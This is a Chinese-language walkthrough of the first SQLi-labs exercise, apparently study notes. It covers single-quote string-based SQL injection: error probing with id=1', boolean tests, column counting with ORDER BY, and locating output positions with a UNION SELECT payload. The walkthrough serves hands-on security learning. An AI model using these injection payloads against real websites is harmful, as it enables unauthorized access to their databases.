less01基于单引号的字符型注入
1、判断注入点
输入?id=1'
发现报错语句:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
取出''1'' LIMIT 0,1'
分析可知SQL查询语句为$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
然后尝试闭合,尝试输入?id=1' and 1=1 --+
发现页面正常;
尝试输入?id=1' and 1=2 --+
发现页面正常无报错,但是查询不到信息;
表示存在注入点,注入语句为
id=1' and 1=1 -- -
2、判断表有多少列,超出列数会报错
输入id=1' order by 3 -- -
页面正常;
输入id=1' order by 4 -- -
报错:超出列数;
所以该页面输出内容有三项(表名有三列);
3、判断数据显示点 (注意id一定要改为0或负数)
使用语句?id=0' union select 1,2,3 --+
发现注入位置
表明2,3的位置可以输出SQL语句查询的内容